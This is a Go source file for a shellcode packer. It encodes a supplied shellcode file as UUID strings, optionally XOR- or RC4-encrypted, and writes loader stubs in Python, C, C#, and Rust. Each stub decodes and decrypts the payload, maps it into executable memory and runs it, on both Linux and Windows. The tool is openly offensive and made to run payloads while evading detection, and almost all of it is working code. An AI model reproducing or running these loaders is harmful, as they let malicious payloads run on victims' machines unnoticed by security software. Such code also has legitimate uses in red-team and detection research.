package main import ( "crypto/rand" "encoding/binary" "flag" "fmt" "os" "path/filepath" "text/template" ) const pythonStub = `import uuid import mmap import ctypes uuids = [ {{- range .UUIDs }} '{{ . }}', {{- end }} ] print('decoding uuids to shellcode') shellcode = b'' for u in uuids: shellcode += uuid.UUID(u).bytes shellcode = shellcode[:{{ .OrigLen }}] {{- if .XORKey }} print('xor decrypting shellcode') key = {{ .XORKey }} shellcode = bytes(b ^ key for b in shellcode) {{- end }} {{- if .RC4Key }} def rc4_crypt(data, key): S = list(range(256)) j = 0 out = bytearray() key = bytearray(key, 'utf-8') for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 for byte in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] out.append(byte ^ S[(S[i] + S[j]) % 256]) return bytes(out) print('rc4 decrypting shellcode') rc4_key = "{{ .RC4Key }}" shellcode = rc4_crypt(shellcode, rc4_key) {{- end }} print(f'decoded shellcode length: {len(shellcode)} bytes') print('calling mmap for memory allocation') pagesize = mmap.PAGESIZE size = ((len(shellcode) + pagesize - 1) // pagesize) * pagesize mem = mmap.mmap(-1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) mem.write(shellcode) func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_int.from_buffer(mem))) print('executing shellcode') func() ` const cStub = `// gcc -z execstack -fno-stack-protector -no-pie -o stub stub.c #include #include #include #include #include #include #define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }} const char* uuid_strings[] = { {{- range .UUIDs }} "{{ . }}", {{- end }} }; #define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0])) #define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16) uint8_t hexchar(char c) { if ('0' <= c && c <= '9') return c - '0'; if ('a' <= c && c <= 'f') return c - 'a' + 10; if ('A' <= c && c <= 'F') return c - 'A' + 10; return 0; } void parse_uuid(const char* str, uint8_t* out) { int j = 0; for (int i = 0; str[i] != '\0' && j < 16; ) { if (str[i] == '-') { ++i; continue; } out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); i += 2; } } uint8_t* decode_uuids() { printf("decoding uuids to shellcode\n"); uint8_t* buf = malloc(SHELLCODE_TOTAL_LEN); if (!buf) { fprintf(stderr, "malloc failed\n"); exit(1); } for (size_t i = 0; i < UUID_COUNT; ++i) { parse_uuid(uuid_strings[i], buf + i * 16); } return buf; } {{- if .XORKey }} void xor_decode(uint8_t *buf, size_t len, uint8_t key) { printf("xor decrypting shellcode\n"); for (size_t i = 0; i < len; ++i) buf[i] ^= key; } {{- end }} {{- if .RC4Key }} void rc4_crypt(uint8_t *data, size_t len, const char *key) { printf("rc4 decrypting shellcode\n"); uint8_t S[256]; int i, j = 0; for (i = 0; i < 256; i++) S[i] = i; for (i = 0; i < 256; i++) { j = (j + S[i] + key[i % strlen(key)]) & 0xFF; uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; } i = j = 0; for (size_t n = 0; n < len; n++) { i = (i + 1) & 0xFF; j = (j + S[i]) & 0xFF; uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; data[n] ^= S[(S[i] + S[j]) & 0xFF]; } } {{- end }} void decrypt_shellcode(uint8_t *buf) { {{- if .XORKey }} xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }}); {{- end }} {{- if .RC4Key }} rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}"); {{- end }} } int main() { uint8_t* shellcode = decode_uuids(); decrypt_shellcode(shellcode); printf("decoded shellcode length: %zu\n", SHELLCODE_TOTAL_LEN); printf("calling mmap for memory allocation\n"); void *exec = mmap(0, SHELLCODE_TOTAL_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); if (exec == MAP_FAILED) { perror("mmap"); return 1; } printf("executing shellcode\n"); memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); ((void(*)())exec)(); free(shellcode); return 0; } ` const cWinStub = `// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase #include #include #include #include #define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }} const char* uuid_strings[] = { {{- range .UUIDs }} "{{ . }}", {{- end }} }; #define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0])) #define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16) uint8_t hexchar(char c) { if ('0' <= c && c <= '9') return c - '0'; if ('a' <= c && c <= 'f') return c - 'a' + 10; if ('A' <= c && c <= 'F') return c - 'A' + 10; return 0; } void parse_uuid(const char* str, uint8_t* out) { int j = 0; for (int i = 0; str[i] != '\0' && j < 16; ) { if (str[i] == '-') { ++i; continue; } out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); i += 2; } } uint8_t* decode_uuids(size_t count, size_t* out_len) { printf("decoding uuids to shellcode\n"); uint8_t* buf = (uint8_t*)malloc(count * 16); if (!buf) { fprintf(stderr, "malloc failed\n"); exit(1); } for (size_t i = 0; i < count; ++i) { parse_uuid(uuid_strings[i], buf + i * 16); } *out_len = count * 16; return buf; } {{- if .XORKey }} void xor_decode(uint8_t *buf, size_t len, uint8_t key) { printf("xor decrypting shellcode\n"); for (size_t i = 0; i < len; ++i) buf[i] ^= key; } {{- end }} {{- if .RC4Key }} void rc4_crypt(uint8_t *data, size_t len, const char *key) { printf("rc4 decrypting shellcode\n"); uint8_t S[256]; int i, j = 0; for (i = 0; i < 256; i++) S[i] = i; for (i = 0; i < 256; i++) { j = (j + S[i] + key[i % strlen(key)]) & 0xFF; uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; } i = j = 0; for (size_t n = 0; n < len; n++) { i = (i + 1) & 0xFF; j = (j + S[i]) & 0xFF; uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; data[n] ^= S[(S[i] + S[j]) & 0xFF]; } } {{- end }} void decrypt_shellcode(uint8_t *buf) { {{- if .XORKey }} xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }}); {{- end }} {{- if .RC4Key }} rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}"); {{- end }} } int main() { size_t shellcode_len = 0; uint8_t* shellcode = decode_uuids(UUID_COUNT, &shellcode_len); decrypt_shellcode(shellcode); printf("decoded shellcode length: %zu\n", shellcode_len); printf("calling VirtualAlloc for memory allocation\n"); void* exec = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!exec) { fprintf(stderr, "VirtualAlloc failed\n"); free(shellcode); return 1; } printf("executing shellcode\n"); memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); ((void(*)())exec)(); free(shellcode); return 0; } ` const csharpStub = `// csc /unsafe /platform:x64 stub.cs using System; using System.Runtime.InteropServices; using System.Text; namespace Stub { class Program { const int ORIGINAL_SHELLCODE_LENGTH = {{ .OrigLen }}; static readonly string[] uuidStrings = new string[] { {{- range .UUIDs }} "{{ . }}", {{- end }} }; [DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] private delegate void ShellcodeDelegate(); [DllImport("kernel32.dll")] static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); const uint PAGE_EXECUTE_READ = 0x20; const uint PAGE_READWRITE = 0x04; const uint MEM_COMMIT = 0x1000; const uint MEM_RESERVE = 0x2000; const uint PAGE_EXECUTE_READWRITE = 0x40; static byte HexChar(char c) { if ('0' <= c && c <= '9') return (byte)(c - '0'); if ('a' <= c && c <= 'f') return (byte)(c - 'a' + 10); if ('A' <= c && c <= 'F') return (byte)(c - 'A' + 10); return 0; } static void ParseUUID(string s, byte[] outBuf, int offset) { int j = 0; for (int i = 0; i < s.Length && j < 16; ) { if (s[i] == '-') { i++; continue; } outBuf[offset + j] = (byte)((HexChar(s[i]) << 4) | HexChar(s[i + 1])); j++; i += 2; } } static byte[] DecodeUUIDs() { Console.WriteLine("decoding uuids to shellcode"); byte[] buf = new byte[uuidStrings.Length * 16]; for (int i = 0; i < uuidStrings.Length; i++) { ParseUUID(uuidStrings[i], buf, i * 16); } return buf; } {{- if .XORKey }} static void XORDecode(byte[] buf, byte key) { Console.WriteLine("xor decrypting shellcode"); for (int i = 0; i < buf.Length; i++) { buf[i] ^= key; } } {{- end }} {{- if .RC4Key }} public static byte[] RC4Crypt(byte[] input, byte[] key) { Console.WriteLine("rc4 decrypting shellcode"); byte[] output = new byte[input.Length]; byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i; int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 255; byte temp = s[i]; s[i] = s[j]; s[j] = temp; } int iIndex = 0; int jIndex = 0; for (int x = 0; x < input.Length; x++) { iIndex = (iIndex + 1) & 255; jIndex = (jIndex + s[iIndex]) & 255; byte temp = s[iIndex]; s[iIndex] = s[jIndex]; s[jIndex] = temp; byte k = s[(s[iIndex] + s[jIndex]) & 255]; output[x] = (byte)(input[x] ^ k); } return output; } {{- end }} static void Main(string[] args) { byte[] shellcode = DecodeUUIDs(); {{- if .XORKey }} XORDecode(shellcode, {{ .XORKey }}); {{- end }} {{- if .RC4Key }} byte[] rc4KeyBytes = Encoding.ASCII.GetBytes("{{ .RC4Key }}"); shellcode = RC4Crypt(shellcode, rc4KeyBytes); if (shellcode.Length > ORIGINAL_SHELLCODE_LENGTH) { Array.Resize(ref shellcode, ORIGINAL_SHELLCODE_LENGTH); } {{- end }} Console.WriteLine("calling VirtualAlloc for memory allocation"); IntPtr execMem = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (execMem == IntPtr.Zero) { Console.Error.WriteLine("VirtualAlloc failed"); return; } Marshal.Copy(shellcode, 0, execMem, shellcode.Length); Console.WriteLine("calling VirtualProtect for memory permissions"); uint oldProtect; bool vp = VirtualProtect(execMem, (UIntPtr)shellcode.Length, PAGE_EXECUTE_READ, out oldProtect); if (!vp) { Console.Error.WriteLine("VirtualProtect failed"); return; } Console.WriteLine("executing shellcode"); ShellcodeDelegate sc = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(execMem, typeof(ShellcodeDelegate)); sc(); } } } ` const rustStub = `// rustup target add x86_64-pc-windows-gnu // cargo build --release --target x86_64-pc-windows-gnu // // rustup target add x86_64-unknown-linux-gnu // cargo build --release --target x86_64-unknown-linux-gnu #[cfg(windows)] use winapi::ctypes::c_void; #[cfg(unix)] use std::ffi::c_void; use std::ptr; #[cfg(unix)] use libc::{mmap, MAP_ANON, MAP_PRIVATE, PROT_EXEC, PROT_READ, PROT_WRITE}; #[cfg(windows)] extern crate winapi; use uuid::Uuid; const ORIGINAL_SHELLCODE_LENGTH: usize = {{ .OrigLen }}; const UUIDS: [&str; {{ len .UUIDs }}] = [ {{- range .UUIDs }} "{{ . }}", {{- end }} ]; fn parse_uuids() -> Vec { println!("decoding uuids to shellcode"); let mut buf = Vec::with_capacity(UUIDS.len() * 16); for s in UUIDS.iter() { let u = Uuid::parse_str(s).unwrap(); buf.extend_from_slice(u.as_bytes()); } buf } {{- if .XORKey }} fn xor_decrypt(data: &mut [u8], key: u8) { println!("xor decrypting shellcode"); for b in data.iter_mut() { *b ^= key; } } {{- end }} {{- if .RC4Key }} fn rc4_crypt(data: &mut [u8], key: &str) { println!("rc4 decrypting shellcode"); let mut s: Vec = (0..=255).collect(); let k: Vec = key.bytes().collect(); let mut j = 0; for i in 0..256 { j = (j + s[i] as usize + k[i % k.len()] as usize) % 256; s.swap(i, j); } let mut i = 0; j = 0; for byte in data.iter_mut() { i = (i + 1) % 256; j = (j + s[i] as usize) % 256; s.swap(i, j); let idx = (s[i] as usize + s[j] as usize) % 256; *byte ^= s[idx]; } } {{- end }} fn main() { let mut shellcode = parse_uuids(); {{- if .XORKey }} xor_decrypt(&mut shellcode, {{ .XORKey }}); {{- end }} {{- if .RC4Key }} rc4_crypt(&mut shellcode, "{{ .RC4Key }}"); {{- end }} println!("decoded shellcode length: {}", ORIGINAL_SHELLCODE_LENGTH); shellcode.truncate(ORIGINAL_SHELLCODE_LENGTH); println!("allocating executable memory"); unsafe { let ptr: *mut c_void; #[cfg(unix)] { println!("calling mmap for memory allocation"); ptr = mmap( ptr::null_mut(), shellcode.len(), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0, ); } #[cfg(windows)] { use winapi::um::memoryapi::VirtualAlloc; use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}; println!("calling VirtualAlloc for memory allocation"); ptr = VirtualAlloc( ptr::null_mut(), shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, ); } if ptr.is_null() { eprintln!("memory allocation failed"); return; } println!("executing shellcode"); ptr::copy_nonoverlapping(shellcode.as_ptr(), ptr as *mut u8, shellcode.len()); let exec_fn: extern "C" fn() = std::mem::transmute(ptr); exec_fn(); } } ` func main() { filePath := flag.String("file", "", "path to binary shellcode file") stubLang := flag.String("stub", "", "stub language to output (py, c, cwin, cs, rs)") xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key") rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key") flag.Parse() if *filePath == "" { flag.Usage() os.Exit(1) } data, err := os.ReadFile(*filePath) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to read file: %v\n", err) os.Exit(1) } origLen := len(data) if origLen%16 != 0 { fmt.Printf("[inf] shellcode size (%d bytes) is not a multiple of 16, will pad with nullbytes\n", origLen) pad := 16 - (origLen % 16) data = append(data, make([]byte, pad)...) } if *xorFlag && *rc4Flag { fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n") os.Exit(1) } var rc4Key []byte var xorKey byte = 0 if *xorFlag { key := make([]byte, 1) _, err := rand.Read(key) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to generate xor key: %v\n", err) os.Exit(1) } xorKey = key[0] fmt.Printf("[inf] using xor key: 0x%02x\n", xorKey) for i := 0; i < len(data); i++ { data[i] ^= xorKey } } else if *rc4Flag { var err error rc4Key, err = generateRC4Key() if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err) os.Exit(1) } fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key)) data, err = rc4Encrypt(data, rc4Key) if err != nil { fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err) os.Exit(1) } } var uuids []string for i := 0; i < len(data); i += 16 { chunk := data[i : i+16] uuid := formatAsUUID(chunk) uuids = append(uuids, uuid) fmt.Println(uuid) } if *stubLang != "" { var stubContent string var fileName string switch *stubLang { case "py": stubContent = pythonStub fileName = "stub.py" case "c": stubContent = cStub fileName = "stub.c" case "cwin": stubContent = cWinStub fileName = "stub.c" case "cs": stubContent = csharpStub fileName = "stub.cs" case "rs": stubContent = rustStub baseDir := "stub" srcDir := filepath.Join(baseDir, "src") err = os.MkdirAll(srcDir, 0755) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to create directories: %v\n", err) os.Exit(1) } cargoToml := `[package] name = "stub" version = "0.0.1" edition = "2024" [dependencies] uuid = "1.3" libc = "0.2" [target.'cfg(windows)'.dependencies] winapi = { version = "0.3", features = ["memoryapi", "winnt"] } ` err = os.WriteFile(filepath.Join(baseDir, "Cargo.toml"), []byte(cargoToml), 0644) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to write Cargo.toml: %v\n", err) os.Exit(1) } fileName = filepath.Join(srcDir, "main.rs") err = renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to write stub.rs: %v\n", err) os.Exit(1) } fmt.Printf("[inf] rust stub written to %s\n", fileName) default: fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n") os.Exit(1) } err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err) os.Exit(1) } fmt.Printf("[inf] stub written to %s\n", fileName) } } func generateRC4Key() ([]byte, error) { const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" key := make([]byte, 16) for i := range key { b := make([]byte, 1) if _, err := rand.Read(b); err != nil { return nil, err } key[i] = charset[int(b[0])%len(charset)] } return key, nil } func rc4Encrypt(data, key []byte) ([]byte, error) { S := [256]byte{} T := [256]byte{} for i := 0; i < 256; i++ { S[i] = byte(i) T[i] = key[i%len(key)] } j := 0 for i := 0; i < 256; i++ { j = (j + int(S[i]) + int(T[i])) % 256 S[i], S[j] = S[j], S[i] } i, j := 0, 0 out := make([]byte, len(data)) for n := 0; n < len(data); n++ { i = (i + 1) % 256 j = (j + int(S[i])) % 256 S[i], S[j] = S[j], S[i] K := S[(int(S[i])+int(S[j]))%256] out[n] = data[n] ^ K } return out, nil } func formatAsUUID(b []byte) string { if len(b) != 16 { return "" } return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x", binary.BigEndian.Uint32(b[0:4]), binary.BigEndian.Uint16(b[4:6]), binary.BigEndian.Uint16(b[6:8]), binary.BigEndian.Uint16(b[8:10]), b[10:16], ) } func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, rc4Key string, fileName string) error { tmpl, err := template.New("stub").Parse(tmplStr) if err != nil { return err } f, err := os.Create(fileName) if err != nil { return err } defer f.Close() return tmpl.Execute(f, map[string]interface{}{ "UUIDs": uuids, "OrigLen": origLen, "XORKey": xorKey, "RC4Key": string(rc4Key), }) }